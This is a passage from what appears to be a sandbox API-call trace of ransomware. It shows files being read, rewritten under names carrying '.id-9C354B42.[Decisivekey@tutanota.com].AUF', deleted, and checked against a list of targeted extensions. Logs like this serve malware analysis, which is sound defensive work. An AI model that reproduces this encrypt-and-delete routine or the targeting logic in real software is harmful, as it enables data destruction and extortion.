dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0215.998] GetLastError () returned 0x0 [0215.998] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x4932, lpOverlapped=0x0) returned 1 [0216.010] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x4940, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x4940, lpOverlapped=0x0) returned 1 [0216.034] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.034] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xe4, lpOverlapped=0x0) returned 1 [0216.034] SetEndOfFile (hFile=0x1f4) returned 1 [0216.034] CloseHandle (hObject=0x1f4) returned 1 [0216.034] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.034] SetEndOfFile (hFile=0x214) returned 1 [0216.035] CloseHandle (hObject=0x214) returned 1 [0216.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.035] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\as90.xsl")) returned 1 [0216.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0216.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0216.036] lstrlenW (lpString=".doc") returned 4 [0216.036] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0216.036] lstrlenW (lpString=".docx") returned 5 [0216.036] lstrcmpiW (lpString1=".docx", lpString2="0.xsl") returned -1 [0216.036] lstrlenW (lpString=".pdf") returned 4 [0216.036] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0216.036] lstrlenW (lpString=".xls") returned 4 [0216.036] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0216.036] lstrlenW (lpString=".xlsx") returned 5 [0216.036] lstrcmpiW (lpString1=".xlsx", lpString2="0.xsl") returned -1 [0216.036] lstrlenW (lpString=".ppt") returned 4 [0216.036] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0216.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0216.036] lstrlenW (lpString=".zip") returned 4 [0216.036] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0216.036] lstrlenW (lpString=".rar") returned 4 [0216.036] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0216.036] lstrlenW (lpString=".bz2") returned 4 [0216.036] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0216.036] lstrlenW (lpString=".7z") returned 3 [0216.036] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0216.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0216.036] lstrlenW (lpString=".dbf") returned 4 [0216.036] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0216.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0216.036] lstrlenW (lpString=".1cd") returned 4 [0216.036] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0216.036] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\as90.xsl") returned 76 [0216.036] lstrlenW (lpString=".jpg") returned 4 [0216.036] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0216.036] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.036] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.036] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f4 [0216.037] GetLastError () returned 0x0 [0216.037] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x1c30, lpOverlapped=0x0) returned 1 [0216.049] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0216.050] ReadFile (in: hFile=0x214, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.050] WriteFile (in: hFile=0x1f4, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.050] SetEndOfFile (hFile=0x1f4) returned 1 [0216.063] CloseHandle (hObject=0x1f4) returned 1 [0216.063] SetFilePointerEx (in: hFile=0x214, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.063] SetEndOfFile (hFile=0x214) returned 1 [0216.063] CloseHandle (hObject=0x214) returned 1 [0216.064] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.064] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0216.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0216.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0216.064] lstrlenW (lpString=".doc") returned 4 [0216.064] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.064] lstrlenW (lpString=".docx") returned 5 [0216.064] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.064] lstrlenW (lpString=".pdf") returned 4 [0216.064] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.064] lstrlenW (lpString=".xls") returned 4 [0216.064] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.064] lstrlenW (lpString=".xlsx") returned 5 [0216.064] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.064] lstrlenW (lpString=".ppt") returned 4 [0216.064] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0216.064] lstrlenW (lpString=".zip") returned 4 [0216.064] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.064] lstrlenW (lpString=".rar") returned 4 [0216.064] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.064] lstrlenW (lpString=".bz2") returned 4 [0216.064] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.064] lstrlenW (lpString=".7z") returned 3 [0216.064] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.064] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0216.064] lstrlenW (lpString=".dbf") returned 4 [0216.064] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0216.065] lstrlenW (lpString=".1cd") returned 4 [0216.065] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.065] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0216.065] lstrlenW (lpString=".jpg") returned 4 [0216.065] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.075] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.075] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.075] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.075] GetLastError () returned 0x0 [0216.075] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0xcb3, lpOverlapped=0x0) returned 1 [0216.109] WriteFile (in: hFile=0x21c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xcc0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xcc0, lpOverlapped=0x0) returned 1 [0216.110] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.110] WriteFile (in: hFile=0x21c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.110] SetEndOfFile (hFile=0x21c) returned 1 [0216.110] CloseHandle (hObject=0x21c) returned 1 [0216.110] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.110] SetEndOfFile (hFile=0x194) returned 1 [0216.111] CloseHandle (hObject=0x194) returned 1 [0216.111] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.111] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00038_.gif")) returned 1 [0216.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0216.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0216.112] lstrlenW (lpString=".doc") returned 4 [0216.112] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.112] lstrlenW (lpString=".docx") returned 5 [0216.112] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.112] lstrlenW (lpString=".pdf") returned 4 [0216.112] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.112] lstrlenW (lpString=".xls") returned 4 [0216.112] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.112] lstrlenW (lpString=".xlsx") returned 5 [0216.112] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.112] lstrlenW (lpString=".ppt") returned 4 [0216.112] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0216.112] lstrlenW (lpString=".zip") returned 4 [0216.112] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.112] lstrlenW (lpString=".rar") returned 4 [0216.112] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.112] lstrlenW (lpString=".bz2") returned 4 [0216.112] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.112] lstrlenW (lpString=".7z") returned 3 [0216.112] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0216.112] lstrlenW (lpString=".dbf") returned 4 [0216.112] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0216.112] lstrlenW (lpString=".1cd") returned 4 [0216.112] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.112] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00038_.GIF") returned 63 [0216.112] lstrlenW (lpString=".jpg") returned 4 [0216.112] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.112] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=12482) returned 1 [0216.112] CloseHandle (hObject=0x194) returned 1 [0216.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 0x20 [0216.113] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.113] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.113] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.113] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.113] GetLastError () returned 0x0 [0216.113] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x30c2, lpOverlapped=0x0) returned 1 [0216.156] WriteFile (in: hFile=0x21c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x30d0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x30d0, lpOverlapped=0x0) returned 1 [0216.156] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.156] WriteFile (in: hFile=0x21c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.157] SetEndOfFile (hFile=0x21c) returned 1 [0216.160] CloseHandle (hObject=0x21c) returned 1 [0216.161] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.161] SetEndOfFile (hFile=0x194) returned 1 [0216.161] CloseHandle (hObject=0x194) returned 1 [0216.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.161] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00129_.gif")) returned 1 [0216.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0216.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0216.162] lstrlenW (lpString=".doc") returned 4 [0216.162] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.162] lstrlenW (lpString=".docx") returned 5 [0216.162] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.162] lstrlenW (lpString=".pdf") returned 4 [0216.162] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.162] lstrlenW (lpString=".xls") returned 4 [0216.162] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.162] lstrlenW (lpString=".xlsx") returned 5 [0216.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.162] lstrlenW (lpString=".ppt") returned 4 [0216.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0216.162] lstrlenW (lpString=".zip") returned 4 [0216.162] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.162] lstrlenW (lpString=".rar") returned 4 [0216.162] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.162] lstrlenW (lpString=".bz2") returned 4 [0216.162] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.162] lstrlenW (lpString=".7z") returned 3 [0216.162] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0216.162] lstrlenW (lpString=".dbf") returned 4 [0216.162] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0216.162] lstrlenW (lpString=".1cd") returned 4 [0216.162] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00129_.GIF") returned 63 [0216.162] lstrlenW (lpString=".jpg") returned 4 [0216.162] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.162] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=5030) returned 1 [0216.162] CloseHandle (hObject=0x194) returned 1 [0216.162] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 0x20 [0216.163] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[decisivekey@tutanota.com].auf")) returned 0xffffffff [0216.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0216.163] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.163] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.163] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif.id-9c354b42.[decisivekey@tutanota.com].auf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0216.163] GetLastError () returned 0x0 [0216.163] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x13a6, lpOverlapped=0x0) returned 1 [0216.192] WriteFile (in: hFile=0x21c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0x13b0, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0x13b0, lpOverlapped=0x0) returned 1 [0216.193] ReadFile (in: hFile=0x194, lpBuffer=0x3b20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f9fed4, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesRead=0x2f9fed4*=0x0, lpOverlapped=0x0) returned 1 [0216.193] WriteFile (in: hFile=0x21c, lpBuffer=0x3b20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2f9fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3b20020*, lpNumberOfBytesWritten=0x2f9fc9c*=0xec, lpOverlapped=0x0) returned 1 [0216.193] SetEndOfFile (hFile=0x21c) returned 1 [0216.193] CloseHandle (hObject=0x21c) returned 1 [0216.193] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f9fec8 | out: lpNewFilePointer=0x0) returned 1 [0216.193] SetEndOfFile (hFile=0x194) returned 1 [0216.199] CloseHandle (hObject=0x194) returned 1 [0216.199] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF", dwFileAttributes=0x20) returned 1 [0216.200] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00158_.gif")) returned 1 [0216.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0216.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0216.200] lstrlenW (lpString=".doc") returned 4 [0216.200] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0216.200] lstrlenW (lpString=".docx") returned 5 [0216.200] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0216.200] lstrlenW (lpString=".pdf") returned 4 [0216.200] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0216.200] lstrlenW (lpString=".xls") returned 4 [0216.200] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0216.200] lstrlenW (lpString=".xlsx") returned 5 [0216.200] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0216.200] lstrlenW (lpString=".ppt") returned 4 [0216.200] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0216.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0216.200] lstrlenW (lpString=".zip") returned 4 [0216.200] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0216.200] lstrlenW (lpString=".rar") returned 4 [0216.200] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0216.200] lstrlenW (lpString=".bz2") returned 4 [0216.200] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0216.200] lstrlenW (lpString=".7z") returned 3 [0216.200] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0216.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0216.200] lstrlenW (lpString=".dbf") returned 4 [0216.200] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0216.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0216.200] lstrlenW (lpString=".1cd") returned 4 [0216.200] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0216.200] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00158_.GIF") returned 63 [0216.200] lstrlenW (lpString=".jpg") returned 4 [0216.200] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0216.201] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x2f9ff1c | out: lpFileSize=0x2f9ff1c*=4894) returned 1 [0216.201] CloseHandle (hObject=0x194) returned 1 [0216.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00167_.gif")) returned 0x20 [0216.201] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00167_.GIF.id-9C354B42.[Decisivekey@tutanota.com].AUF" (normalized: "c:\\program files\\microsoft 